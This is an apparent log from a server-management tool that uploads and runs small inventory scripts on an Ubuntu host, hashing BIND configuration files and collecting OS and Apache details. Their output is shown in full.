MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-30 16:52:50: Establishing a connection
2026-03-30 16:52:50: 

PUT: /tmp/pkp600990

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-30 16:52:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp600990; rm /tmp/pkp600990'

2026-03-30 16:52:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:28:21: Establishing a connection
2026-03-31 11:30:27: Establishing a connection
2026-03-31 11:30:27: Performing Server Status
2026-03-31 11:30:27: 

PUT: /tmp/pkp755492

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:30:28: 

chmod 755 /tmp/pkp755492; /tmp/pkp755492; rm /tmp/pkp755492

2026-03-31 11:30:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-106-generic



2026-03-31 11:30:28: 

PUT: /tmp/pkp713155

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-31 11:30:28: 

chmod 755 /tmp/pkp713155; /tmp/pkp713155; rm /tmp/pkp713155

2026-03-31 11:30:28: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 446159
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      446159  0.0  0.9 261228 39484 ?        Ss   Mar24   1:17 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
